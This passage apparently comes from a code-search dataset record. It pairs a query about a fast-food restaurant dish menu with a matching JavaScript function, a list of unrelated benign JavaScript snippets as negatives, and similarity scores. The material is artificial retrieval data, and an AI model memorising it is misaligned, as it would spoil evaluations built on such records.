(this.scene.scene\\r\\n .get(\\\"levelMap\\\")\\r\\n .localStorage.getItem(`${this.scene.key}R`) === null) {\\r\\n this.intro();\\r\\n }\\r\\n }\",\n \"function startGame() {\\r\\n if (pressed == 0) {\\r\\n createRain();\\r\\n animate();\\r\\n }\\r\\n }\",\n \"function start() {\\n fly();\\n\\n}\",\n \"function Start() {\\n console.log(`%c Start Function`, \\\"color: grey; font-size: 14px; font-weight: bold;\\\");\\n stage = new createjs.Stage(canvas);\\n createjs.Ticker.framerate = Config.Game.FPS;\\n createjs.Ticker.on('tick', Update);\\n stage.enableMouseOver(20);\\n Config.Game.ASSETS = assets; // make a reference to the assets in the global config\\n Main();\\n }\",\n \"function start() {\\r\\n\\tconst config = validateConfiguration();\\r\\n\\tif(config === false) {\\r\\n\\t\\talert(\\\"Please choose a proper configuration!\\\");\\r\\n\\t\\treturn;\\r\\n\\t}\\r\\n\\ttg = new TaskGenerator(config);\\r\\n\\r\\n\\tdocument.getElementsByName(\\\"state:start\\\").forEach(function(e) {\\r\\n\\t\\te.style.display = \\\"none\\\";\\r\\n\\t});\\r\\n\\r\\n\\tdocument.getElementsByName(\\\"state:task\\\").forEach(function(e) {\\r\\n\\t\\te.style.display = \\\"block\\\";\\r\\n\\t});\\r\\n\\tdisplayTask();\\r\\n}\",\n \"create(){\\n this.add.text(20, 20, \\\"LoadingGame...\\\")\\n\\n this.time.addEvent({\\n delay: 3000, // ms\\n callback: function(){this.scene.start('MenuScene')},\\n //args: [],\\n callbackScope: this,\\n loop: true \\n });\\n\\n \\n }\",\n \"function start(state) { \\n service.goNext(state);\\n }\",\n \"function reactionStart () {\\n if (bu2.state != 1) t0 = new Date(); // Falls Animation angeschaltet, neuer Anfangszeitpunkt\\n switchButton2(); // Zustand des Schaltknopfs ändern\\n enableInput(false); // Eingabefelder deaktivieren\\n if (bu2.state == 1) startAnimation(); // Entweder Animation starten bzw. fortsetzen ...\\n else stopAnimation(); // ... oder stoppen\\n reaction(); // Eingegebene Werte übernehmen und rechnen\\n paint(); // Neu zeichnen\\n }\",\n \"function startScreen() {\\n\\tdraw();\\n\\tif(usuario_id !== -1)\\n\\t\\tstartBtn.draw();\\n}\",\n \"function runStart()/* : void*/\\n {\\n this.setUp();\\n }\",\n \"function start() {\\n //switch to scene 1\\n window.inventoryActive = \\\"\\\";\\n window.inventoryActive2 = \\\"\\\";\\n window.inventory[1]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[2]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[3]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[4]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[5]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[6]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.timerTime = null;\\n window.inspectResultReceived =0;\\n window.activeSlot = \\\"\\\";\\n window.inspectResult= \\\"\\\";\\n \\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7005796","0.6905421","0.6712243","0.6531578","0.6511532","0.65048075","0.6440274","0.6435362","0.6370753","0.63203603","0.6283713","0.62831676","0.62555844","0.6246311","0.6242093","0.6232279","0.6213741","0.6201732","0.61525476","0.6120415","0.61030513","0.6102915","0.6099659","0.60980535","0.60968626","0.60946804","0.6064788","0.6059272","0.60587984","0.6052239","0.60380757","0.60338104","0.60203964","0.60176796","0.60087675","0.6003453","0.5996396","0.5996006","0.5993157","0.5982755","0.5982082","0.5981742","0.5978043","0.5975088","0.5970169","0.5954277","0.59318703","0.5926054","0.59214985","0.5921152","0.5916003","0.59122425","0.58993447","0.58988607","0.58817333","0.58723485","0.5870934","0.58631575","0.5859006","0.5856763","0.5855876","0.5853492","0.5837363","0.5832727","0.58242106","0.58228964","0.5819396","0.581897","0.58140326","0.5809035","0.58079207","0.58051044","0.58045405","0.579916","0.5794586","0.5788267","0.5780983","0.5780677","0.5772165","0.57690555","0.5768784","0.5763662","0.5759042","0.5755316","0.5753908","0.5753908","0.5753484","0.57457274","0.5740867","0.57379127","0.5736859","0.57314205","0.57307184","0.57289165","0.57266337","0.5725584","0.57202995","0.5720104","0.57172763","0.57156134"],"string":"[\n \"0.7005796\",\n \"0.6905421\",\n \"0.6712243\",\n \"0.6531578\",\n \"0.6511532\",\n \"0.65048075\",\n \"0.6440274\",\n \"0.6435362\",\n \"0.6370753\",\n \"0.63203603\",\n \"0.6283713\",\n \"0.62831676\",\n \"0.62555844\",\n \"0.6246311\",\n \"0.6242093\",\n \"0.6232279\",\n \"0.6213741\",\n \"0.6201732\",\n \"0.61525476\",\n \"0.6120415\",\n \"0.61030513\",\n \"0.6102915\",\n \"0.6099659\",\n \"0.60980535\",\n \"0.60968626\",\n \"0.60946804\",\n \"0.6064788\",\n \"0.6059272\",\n \"0.60587984\",\n \"0.6052239\",\n \"0.60380757\",\n \"0.60338104\",\n \"0.60203964\",\n \"0.60176796\",\n \"0.60087675\",\n \"0.6003453\",\n \"0.5996396\",\n \"0.5996006\",\n \"0.5993157\",\n \"0.5982755\",\n \"0.5982082\",\n \"0.5981742\",\n \"0.5978043\",\n \"0.5975088\",\n \"0.5970169\",\n \"0.5954277\",\n \"0.59318703\",\n \"0.5926054\",\n \"0.59214985\",\n \"0.5921152\",\n \"0.5916003\",\n \"0.59122425\",\n \"0.58993447\",\n \"0.58988607\",\n \"0.58817333\",\n \"0.58723485\",\n \"0.5870934\",\n \"0.58631575\",\n \"0.5859006\",\n \"0.5856763\",\n \"0.5855876\",\n \"0.5853492\",\n \"0.5837363\",\n \"0.5832727\",\n \"0.58242106\",\n \"0.58228964\",\n \"0.5819396\",\n \"0.581897\",\n \"0.58140326\",\n \"0.5809035\",\n \"0.58079207\",\n \"0.58051044\",\n \"0.58045405\",\n \"0.579916\",\n \"0.5794586\",\n \"0.5788267\",\n \"0.5780983\",\n \"0.5780677\",\n \"0.5772165\",\n \"0.57690555\",\n \"0.5768784\",\n \"0.5763662\",\n \"0.5759042\",\n \"0.5755316\",\n \"0.5753908\",\n \"0.5753908\",\n \"0.5753484\",\n \"0.57457274\",\n \"0.5740867\",\n \"0.57379127\",\n \"0.5736859\",\n \"0.57314205\",\n \"0.57307184\",\n \"0.57289165\",\n \"0.57266337\",\n \"0.5725584\",\n \"0.57202995\",\n \"0.5720104\",\n \"0.57172763\",\n \"0.57156134\"\n]"},"document_score":{"kind":"string","value":"0.6223574"},"document_rank":{"kind":"string","value":"16"}}},{"rowIdx":66,"cells":{"query":{"kind":"string","value":"Dish menu for fastfood restaurant scene start."},"document":{"kind":"string","value":"function handleFastRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const fastDishInput = document.getElementById(\"fast-input\").value;\n const fastfoodMenu = [\"cheeseburger\", \"doubleburger\", \"veganburger\"]\n\n if(fastDishInput == fastfoodMenu[0]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[1]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[2]) {\n restaurantClosing();\n } else {\n fastFoodRestaurantScene();\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function initMenu() {\n // Connect Animation\n window.onStepped.Connect(stepMenu);\n\n // Make buttons do things\n let startbutton = document.getElementById('start_button');\n \n //VarSet('S:Continue', 'yielding')\n buttonFadeOnMouse(startbutton);\n startbutton.onclick = startDemo\n\n\n // run tests for prepar3d integration\n runTests();\n}","function loadMenu(){\n\t\tpgame.state.start('menu');\n\t}","function startMenu() {\n createManager();\n}","function onOpen() {\n ui.createMenu('Daily Delivery Automation')\n .addItem('Run', 'confirmStart').addToUi();\n}","function gameMenuStartableDrawer() {\n if (store.getState().currentPage == 'GAME_MENU' && store.getState().lastAction == 'GAMEDATA_LOADED') {\n gameMenuStartableStarsid.innerHTML = store.getState().activeGameState.stars.toString() + '/77';\n }\n }","function StartMenu() {\n //this.menu = new Menu('start-menu');\n this.shutDownMenu = new Menu('shutdown-menu');\n this.shutDownButton = new MenuButton('options-button', this.shutDownMenu);\n Menu.apply(this, ['start-menu']);\n}","constructor(props) {\n super(props);\n\n // comente lo de abajo por que ahora lo estamos extrallendo del archivo dishes.js\n this.state = {\n selectedDish: null\n }\n console.log('menu constructor is invoke')\n \n }","function display_start_menu() {\n\tstart_layer.show();\n\tstart_layer.moveToTop();\n\t\n\tdisplay_menu(\"start_layer\");\n\tcharacter_layer.moveToTop();\n\tcharacter_layer.show();\n\tinventory_bar_layer.show();\n\t\n\tstage.draw();\n\t\n\tplay_music('start_layer');\n}","start() {\n if (this.showHideStartMenu === true) {\n this.showHideStartMenu = false;\n } else {\n this.showHideStartMenu = true;\n }\n }","function foodMenuItems() {\r\n\t\t\t\t\t\r\n\t\t\t\t\tvar $foodItemOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '80%';\r\n\t\t\t\t\t$($fullscreenSelector + '.nectar_food_menu_item').parent().each(function () {\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tvar $that = $(this),\r\n\t\t\t\t\t\twaypoint = new Waypoint({\r\n\t\t\t\t\t\t\telement: $that,\r\n\t\t\t\t\t\t\thandler: function () {\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tif ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {\r\n\t\t\t\t\t\t\t\t\twaypoint.destroy();\r\n\t\t\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$that.find('.nectar_food_menu_item').each(function (i) {\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\tvar $that = $(this);\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\tsetTimeout(function () {\r\n\t\t\t\t\t\t\t\t\t\t$that.addClass('animated-in');\r\n\t\t\t\t\t\t\t\t\t}, i * 150);\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\twaypoint.destroy();\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t},\r\n\t\t\t\t\t\t\toffset: $foodItemOffsetPos\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t});\r\n\t\t\t\t}","function onOpen() {\n createMenu();\n}","function showMenu(arg)\r\n\t{\r\n\t\tswitch(arg)\r\n\t\t{\r\n\t\t\tcase 0:\r\n\t\t\t\t$('#menu').html(\"\");\r\n\t\t\tbreak;\r\n\t\t\tcase 1:\r\n\t\t\t\t$('#menu').html(\"

                    Sheep's Snake

                    Press A to play!

                    Press B for some help !

                    \");\r\n\t\t\t\t\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}","function tl_start() {\n $('#futureman_face, #menu-open').css('display', 'inherit');\n $('.menu-open').css('visibility', 'inherit');\n }","function fastFoodRestaurantScene() {\n subTitle.innerText = fastfoodWelcome;\n firstButton.classList.add(\"hidden\");\n secondButton.classList.add(\"hidden\");\n fastDiv.classList.remove(\"hidden\");\n\n handleFastRestaurantChoice();\n}","function showMenu() {\n // clear the console\n console.log('\\033c');\n // menu selection\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"wish\",\n choices: [\"View Product Sales by Department\", \"Create New Department\", \"Exit\"],\n message: '\\nWhat would you like to do? '\n }\n ]).then( answer => {\n switch (answer.wish){\n case \"View Product Sales by Department\":\n showSale();\n break;\n case \"Create New Department\":\n createDept();\n break;\n case \"Exit\":\n connection.end();\n break;\n default:\n console.log( `\\x1b[1m \\x1b[31m\\nERROR! Invalid Selection\\x1b[0m`);\n }\n })\n}","function start() {\r\n var questions = [{\r\n type: 'rawlist',\r\n name: 'choice',\r\n message: 'What would you like to do?',\r\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\", \"Exit Store\"]\r\n }];\r\n inquirer.prompt(questions).then(answers => {\r\n mainMenu(answers.choice);\r\n });\r\n}","function menuHandler() {\n console.log('menuHandler');\n\n agent.add('Questi sono alcuni dei modi in cui posso aiutarti nella tua visita al nostro store online')\n agent.add(new Suggestion(`Esplorazione delle categorie`));\n agent.add(new Suggestion(`Ricerca prodotto specifico`));\n agent.add(new Suggestion(`Suggerimento prodotto`));\n}","_start() {\n\n this._menuView = new MenuView(\n document.querySelector('nav'),\n this.sketches\n );\n\n for (var key in this.sketches) {\n this.DEFAULT_SKETCH = key;\n break;\n }\n\n this._setupScroll();\n this._setupWindow();\n this._onHashChange();\n }","function superfishSetup() {\n\t\t$('#navigation').find('.menu').superfish({\n\t\t\tdelay: 200,\n\t\t\tanimation: {opacity:'show', height:'show'},\n\t\t\tspeed: 'fast',\n\t\t\tcssArrows: true,\n\t\t\tautoArrows: true,\n\t\t\tdropShadows: false\n\t\t});\n\t}","function DfoMenu(/**string*/ menu)\r\n{\r\n\tSeS(\"G_Menu\").DoMenu(menu);\r\n\tDfoWait();\r\n}","pressedStart()\n\t\t\t{\n\t\t\tif(this.gamestate === 'starting')\n\t\t\t\t{\n\t\t\t\tthis.gamestate = 'choose';\n\t\t\t\t}\n\t\t\telse if(this.gamestate === 'choose')\n\t\t\t\t{\n\t\t\t\t}\n\t\t\telse if(this.gamestate === 'stats')\n\t\t\t\t{\n\t\t\t\tthis.gamestate = 'bedroom';\n\t\t\t\t}\n\t\t\telse if(this.gamestate === 'bedroom')\n\t\t\t\t{\n\t\t\t\tthis.menu.RunFunction(this);\n\t\t\t\t}\n\t\t\t}","function actionOnClick () {\r\n game.state.start(\"nameSelectionMenu\");\r\n}","function menuShow() {\n ui.appbarElement.addClass('open');\n ui.mainMenuContainer.addClass('open');\n ui.darkbgElement.addClass('open');\n}","createMenu()\n {\n currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'Fondo');\n\n // The first button that will enable audio\n let firstBtn = currentScene.add.image(topBackgroundXOrigin, topBackgroundYOrigin, 'FirstStart');\n\n firstBtn.setInteractive();\n firstBtn.on('pointerdown',function()\n {\n this.setScale(1.05);\n });\n firstBtn.on('pointerup',function()\n {\n firstBtn.disableInteractive();\n // We play the Button pressed SFX \n sfxManager.playSupahStar();\n firstBtn.destroy();\n });\n firstBtn.on('pointerup', () => this.startMainMenu());\n\n // We set the fonts according to the browser\n if(theGame.device.browser.firefox)\n {\n boldFontName = 'Asap-Bold';\n regularFontName = 'Asap';\n }\n else\n {\n boldFontName = 'Asap-Bold';\n regularFontName = 'Asap';\n }\n }","function startup() {\n\tsceneTransition(\"start\");\n}","function menuhrres() {\r\n\r\n}","function displayMenu() {\n const menu = document.querySelector(\"#menu\");\n let dishes = hard_coded_dishes;\n\n dishes.forEach(dish => {\n // generate template for main ingredient and the name of the dish\n const main = displayDish(\n dish.course,\n dish.name,\n dish.price,\n dish.ingredient\n );\n\n // generate options for each dish\n const options = [];\n\n if (dish.options) {\n dish.options.forEach(option => {\n options.push(displayOption(option.option, option.price));\n });\n }\n\n // add this to the DOM\n menu.insertAdjacentHTML(\"beforeend\", main + options.join(\"\"));\n });\n}","function thememascot_menuzord() {\n $(\"#menuzord\").menuzord({\n align: \"left\",\n effect: \"slide\",\n animation: \"none\",\n indicatorFirstLevel: \"\",\n indicatorSecondLevel: \"\"\n });\n $(\"#menuzord-right\").menuzord({\n align: \"right\",\n effect: \"slide\",\n animation: \"none\",\n indicatorFirstLevel: \"\",\n indicatorSecondLevel: \"\"\n });\n }","function main() {\n menu = new states.Menu();\n currentstate = menu;\n}","function runMenu() {\n inquirer.prompt([\n {\n name: 'menu',\n type: 'list',\n choices: [\n 'View Products for Sale',\n 'View Low Inventory',\n 'Add to Inventory',\n 'Add New Product',\n 'Exit'\n ],\n message: chalk.cyan('Select an option:')\n }\n ]).then(function(answers) {\n switch (answers.menu) {\n case 'View Products for Sale':\n getProducts(false);\n break;\n case 'View Low Inventory':\n getProducts(true);\n break;\n case 'Add to Inventory':\n addInventory();\n break;\n case 'Add New Product':\n addProduct();\n break;\n default:\n connection.end();\n }\n });\n}","addDishToMenu(dish) {\n if(this.menu.includes(dish))\n {\n this.removeDishFromMenu(dish.id);\n }\n this.menu.push(dish);\n }","function supervisorMenu() {\n inquirer\n .prompt({\n name: 'apple',\n type: 'list',\n message: 'What would you like to do?'.yellow,\n choices: ['View Product Sales by Department',\n 'View/Update Department',\n 'Create New Department',\n 'Exit']\n })\n .then(function (pick) {\n switch (pick.apple) {\n case 'View Product Sales by Department':\n departmentSales();\n break;\n case 'View/Update Department':\n updateDepartment();\n break;\n case 'Create New Department':\n createDepartment();\n break;\n case 'Exit':\n connection.end();\n break;\n }\n });\n}","function toMenu()\n {\n /**\n * Opens a fan of a desk in the pause menu\n */\n function openFan()\n {\n toggleHideElements([DOM.pause.deskContainer], animation.duration.hide, false);\n desk.toggleFan(4, 35, 10, true);\n for (var counter = 0; counter < desk.cards.length; counter++)\n {\n if (state.isWin)\n {\n desk.cards[counter].turn(true);\n desk.cards[counter].dataset.turned = true;\n }\n else if (desk.cards[counter].dataset.turned == true)\n {\n desk.cards[counter].turn(true);\n }\n }\n state.isWin = false;\n }\n\n /**\n * Shows menu elements\n */\n function showMenu()\n {\n if (state.screen == \"GAME\")\n {\n cards[0].removeEventListener(\"move\", showMenuId);\n DOM.pause.deskContainer.style.opacity = 1;\n DOM.cardsContainer.classList.add(CSS.hidden);\n }\n\n if (state.isWin)\n {\n DOM.pause.deskContainer.style.opacity = 0;\n DOM.pause.headline.innerHTML = (state.score >= 0 ? \"Победа со счётом: \" : \"Потрачено: \") + state.score;\n DOM.pause.options.continue.disabled = true;\n state.score = 0;\n }\n else\n {\n DOM.pause.headline.innerHTML = \"MEMORY GAME\";\n }\n\n DOM.container.classList.remove(CSS.container.game);\n DOM.container.classList.add(CSS.container.pause);\n state.screen = \"MENU\";\n\n toggleHideElements(\n [DOM.pause.options.continue, DOM.pause.options.newGame, DOM.pause.headline],\n animation.duration.hide,\n false,\n openFan.bind(this)\n );\n }\n\n /**\n * Hides a game field\n */\n function hideGameField(follower)\n {\n toggleHideElements([DOM.game.score, DOM.game.pauseButton], animation.duration.hide, true, follower);\n }\n\n /**\n * Moves cards from the field to the desk\n */\n function takeCards()\n {\n if (state.turnedCard)\n {\n state.turnedCard.turn(true);\n }\n\n showMenuId = cards[0].addEventListener(\"move\", showMenu);\n\n for (var counter = 0; counter < cards.length; counter++)\n {\n cards[counter].move(DOM.cardsContainer, {width: sizes.desk.width + \"PX\", height: sizes.desk.height + \"PX\"}, true);\n }\n }\n\n state.cardsTurnable = false;\n if (state.screen == \"GAME\")\n {\n var showMenuId;\n hideGameField();\n takeCards();\n }\n else\n {\n hideGameField(showMenu.bind(this));\n }\n }","function onOpen() {\n \n SpreadsheetApp.getUi().createMenu('Merchant Center')\n .addItem('Run Now', 'main')\n .addToUi()\n }","function onOpen() { CUSTOM_MENU.add(); }","getMenu() {alert(\"entering grocery.js getMenu()\")\n\t\t// Assemble the menu list (meal nodes)\n\t\tthis.menuCloset.destructBoxes()\n\t\tlet mealNodes = graph.getNodesByID_partial(\"meal\", \"\")\n\t\tfor (let meal of mealNodes) {\n\t\t\tif (meal.inMenu) { // i don't think we need to keep track of what's on the menu by using inMenu anymore. I think we can just use groceryListArea.menuCloset.boxes to see what's on the menu. This is the next thing to take a look at and understand better. (todo)\n\t\t\t\tthis.menuCloset.add(meal)\n\t\t\t}\n\t\t}\n\t\tthis.updateGroceryList()\n\t}","function gotoMenu(){\n x = 200;\n dx = 1;\n y = 200;\n dy = 1;\n fuel = 5000;\n landed = false;\n crashed = false;\n fuelout = false;\n gameTimer = 0;\n canvas_x=0;\t\n gamestart = false;\n levelselect = true;\n bonus = 0;\n score = 0;\n}","start() {\r\n //Below are methods that dont exist YET and to build out our menu; what we think it will look like and then we are going to implement \r\n //those methods this is referred to as the top-down development approach. Where we start from the top then implement those methods.\r\n //this.showMainMenuOptions(method) will return the selection that the user gives us \r\n let selection = this.showMainMenuOptions();\r\n //selection is a variable we're gonna use to get user input of what option out menu has the user selected. We will use 0=exit and do \r\n //something based off of it, so below is a switch. \r\n while (selection != 0) {\r\n switch (selection) {\r\n case \"1\":\r\n //reminder that these are sort of placeholders that will be implemented later according to the top down development approach\r\n this.createAllignmentGroup();\r\n break;\r\n case \"2\":\r\n this.viewAllignmentGroup();\r\n break;\r\n case \"3\":\r\n this.deleteAllignmentGroup();\r\n break;\r\n case \"4\":\r\n this.displayAllignmentGroup();\r\n break;\r\n default:\r\n selection = 0;\r\n }\r\n //outside of our switch here we get the selection like at the beginning to ensure the loop keeps looping as long as we do not select 0 \r\n //or select 1-4\r\n //So this is basically the flow of our application, we are going to prompt/show the menu options the user is going to select something\r\n //we're going to say as long as 0 isnt selected we are going to continue with our determination of what they did select and based on \r\n //what they selected it will show the cases above. \r\n selection = this.showMainMenuOptions();\r\n }\r\n alert(\"Farewell!\");\r\n }","function onOpen() {\n SpreadsheetApp.getUi().createMenu('Equipment requests')\n .addItem('Set up', 'setup_')\n .addItem('Clean up', 'cleanup_')\n .addToUi();\n}","function initMenu(){\n\toutlet(4, \"vpl_menu\", \"clear\");\n\toutlet(4, \"vpl_menu\", \"append\", \"properties\");\n\toutlet(4, \"vpl_menu\", \"append\", \"help\");\n\toutlet(4, \"vpl_menu\", \"append\", \"rename\");\n\toutlet(4, \"vpl_menu\", \"append\", \"expand\");\n\toutlet(4, \"vpl_menu\", \"append\", \"fold\");\n\toutlet(4, \"vpl_menu\", \"append\", \"---\");\n\toutlet(4, \"vpl_menu\", \"append\", \"duplicate\");\n\toutlet(4, \"vpl_menu\", \"append\", \"delete\");\n\n\toutlet(4, \"vpl_menu\", \"enableitem\", 0, myNodeEnableProperties);\n\toutlet(4, \"vpl_menu\", \"enableitem\", 1, myNodeEnableHelp);\n outlet(4, \"vpl_menu\", \"enableitem\", 3, myNodeEnableBody);\t\t\n outlet(4, \"vpl_menu\", \"enableitem\", 4, myNodeEnableBody);\t\t\n}","function menu() {\n this.meal1 = \"Ham and Cheese Sandwich\",\n this.meal2 = \"Roastbeef Sandwich\"\n }","function start() {\n\n inquirer.prompt({\n name: \"menu\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View Products for Sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Product\",\n \"Delete Product\",\n \"EXIT\"\n ]\n }).then(function(answer) {\n switch (answer.menu) {\n case \"View Products for Sale\":\n productsForSale();\n break;\n\n case \"View Low Inventory\":\n lowInventory();\n break;\n\n case \"Add to Inventory\":\n addInventory();\n break;\n\n case \"Add New Product\":\n addProduct();\n break;\n\n case \"Delete Product\":\n deleteProduct();\n break;\n\n case \"EXIT\":\n connection.end();\n break;\n }\n });\n}","function showMenu(fast) {\n\t\t\t\tif ((smallBreakpoint && !opt.everySizes) || opt.everySizes) {\n\t\t\t\t\tmenuOpen = true;\n\t\t\t\t\t$html.addClass('extra-menu-open');\n\t\t\t\t\t$html.removeClass('extra-menu-close');\n\t\t\t\t\tif (fast) {\n\t\t\t\t\t\ttimeline.totalProgress(1);\n\t\t\t\t\t\t$window.trigger('extra:menu:ShowComplete');\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttimeline.play();\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\thideMenu(true);\n\t\t\t\t}\n\t\t\t}","function showMainMenu(){\n addTemplate(\"menuTemplate\");\n showMenu();\n}","function mainMenu() {\n INQUIRER.prompt([{\n name: 'next',\n type: 'list',\n message: 'Welcome',\n choices: [\n 'View All Products',\n `View Low Inventory`,\n 'Add to Inventory',\n 'Add New Product',\n 'Exit'\n ]\n }]).then(function(input) {\n\n switch (input.next) {\n case 'View All Products':\n displayAll();\n break;\n\n case 'View Low Inventory':\n displayLow();\n break;\n\n case 'Add to Inventory':\n addToInventory();\n\n case 'Exit':\n connection.end();\n break;\n\n //add product\n default:\n addNewProduct();\n break;\n }\n });\n}","function StartFishing() {\n\n DebugStart()\n // How far to look for trees from the player\n var range = 16;\n AutoFisherman(range);\n}","expandMenu() {\r\n\t}","function mainMenu(){\n\tinquirer.prompt([{\n\t\ttype: \"list\",\n\t\tname: \"introAction\",\n\t\tmessage: \"Welcome, pick an action: \",\n\t\tchoices: [\"Create a Basic Card\", \"Create a Cloze Card\", \"Review Existing Cards\"]\n\t}]).then(function(answers){\n\t\tswitch (answers.introAction) {\n\t\t\tcase \"Create a Basic Card\":\n\t\t\t\tcreateBasicCard();\n\t\t\t\tbreak;\n\t\t\tcase \"Create a Cloze Card\":\n\t\t\t\tcreateClozeCard();\n\t\t\t\tbreak;\n\t\t\tcase \"Review Existing Cards\":\n\t\t\t\treviewCards();\n\t\t\t\tbreak;\n\t\t}\n\t});\n}","function goToMenu() {\n stopTTS();\n cStatus = undefined;\n cStatus = new CurrentStatus();\n $('#quiz').hide('slow');\n $('#game').hide('slow');\n $('#menu').show('slow');\n}","setupMenu () {\n let dy = 17;\n // create buttons for the action categories\n this.menu.createButton(24, 0, () => this.selectionMode = 'info', this, null, 'info');\n this.menu.createButton(41, 0, () => this.selectionMode = 'job', this, null, 'job');\n // create buttons for each command\n for (let key of Object.keys(this.jobCommands)) {\n let button = this.menu.createButton(0, dy, () => this.jobCommand = key, this, this.jobCommands[key].name);\n dy += button.height + 1;\n }\n // set the hit area for the menu\n this.menu.calculateHitArea();\n // menu is closed by default\n this.menu.hideMenu();\n }","prepare() { this.createTopMenu(); this.createQuickMenu(); this.showQuickMenu(); }","function onOpen() {\n SpreadsheetApp.getUi()\n .createMenu('Great Explorations')\n .addItem('Match Girls to Workshops', 'matchGirls')\n .addToUi();\n}","function menu() {\n document.getElementById(\"menuStart\").classList.toggle(\"show\");\n}","function C999_Common_Achievements_MainMenu() {\n C999_Common_Achievements_ResetImage();\n\tSetScene(\"C000_Intro\", \"ChapterSelect\");\n}","function start(action) {\r\n\t\r\n\t\tswitch (action) {\r\n\t\t\tcase 'go look':\r\n\t\t\t\ttextDialogue(narrator, \"Narocube: What are you going to look at??\", 1000);\r\n\t\t\tbreak;\r\n\r\n\t\t\tcase 'explore':\r\n\t\t\t\texploreship(gameobj.explore);\r\n\t\t\t\tgameobj.explore++;\r\n\t\t\tbreak;\r\n\r\n\t\t\tcase 'sit tight':\r\n\t\t\t\ttextDialogue(narrator, \"Narocube: Good choice we should probably wait for John to get back.\", 1000);\r\n\t\t\t\tgameobj.sittight++;\r\n\t\t\tbreak;\t\r\n\t\t}\r\n}","function menu() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"Supervisor's Menu Options:\",\n choices: [\"View Product Sales By Department\", \"Create New Department\", \"Exit\"]\n }\n ]).then(function (answers) {\n if (answers.choice === \"View Product Sales By Department\") {\n displaySales();\n }\n else if (answers.choice === \"Create New Department\") {\n createDepartment();\n }\n else {\n connection.end();\n }\n });\n}","function menu() {\n\t\n // Title of Game\n title = new createjs.Text(\"Poker Room\", \"50px Bembo\", \"#FF0000\");\n title.x = width/3.1;\n title.y = height/4;\n\n // Subtitle of Game\n subtitle = new createjs.Text(\"Let's Play Poker\", \"30px Bembo\", \"#FF0000\");\n subtitle.x = width/2.8;\n subtitle.y = height/2.8;\n\n // Creating Buttons for Game\n addToMenu(title);\n addToMenu(subtitle);\n startButton();\n howToPlayButton();\n\n // update to show title and subtitle\n stage.update();\n}","function init() {\n console.log('Welcome to your company employee manager.')\n menu()\n}","startGame() {\n this.scene.start('MenuScene');\n }","function showMenu() {\n rectMode(CENTER);\n fill(colorList[2]);\n rect(buttonX, buttonY, buttonWidth, buttonHeight);\n \n textAlign(CENTER, CENTER);\n fill(colorList[5]);\n text(\"How to Play\", buttonX, buttonY);\n\n fill(colorList[3]);\n rect(buttonX, secondButtonYpos, buttonWidth, buttonHeight);\n \n textAlign(CENTER, CENTER);\n fill(colorList[4]);\n text(\"Dancing Block\", buttonX, secondButtonYpos);\n \n}","function start() {\n inquirer\n .prompt([{\n type: \"list\",\n name: \"menu\",\n message: \"What would you like to do?\",\n choices: [\"View Products for sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Product\"\n ]\n }\n\n ])\n .then(function (answers) {\n if (answers.menu === \"View Products for sale\") {\n return viewProducts();\n } else if (answers.menu === \"View Low Inventory\") {\n return lowInventory();\n } else if (answers.menu === \"Add to Inventory\") {\n return addInventory();\n } else if (answers.menu === \"Add New Product\") {\n return addProduct();\n }\n });\n}","function menu(){\n inquirer.prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View Products for Sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Product\",\n \"exit\"\n ]\n }).then(function(answer){\n switch(answer.action){\n case \"View Products for Sale\":\n products();\n break;\n\n case \"View Low Inventory\":\n lowInventory();\n break;\n\n case \"Add to Inventory\":\n addToInventory();\n break;\n\n case \"Add New Product\":\n addProduct();\n break;\n\n case \"exit\":\n connection.end();\n break;\n }\n });\n}","function onOpen() {\n var menu = [\n { name: \"Fill all items list\", functionName: \"fillAllItemsData\" },\n null,\n { name: \"Schedule run task every hour\", functionName: \"configureRun\"},\n { name: \"Remove schedule\", functionName: \"configureStop\"},\n ];\n \n SpreadsheetApp.getActiveSpreadsheet().addMenu(\"➪ Tarkov-Market\", menu);\n}","function start() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: 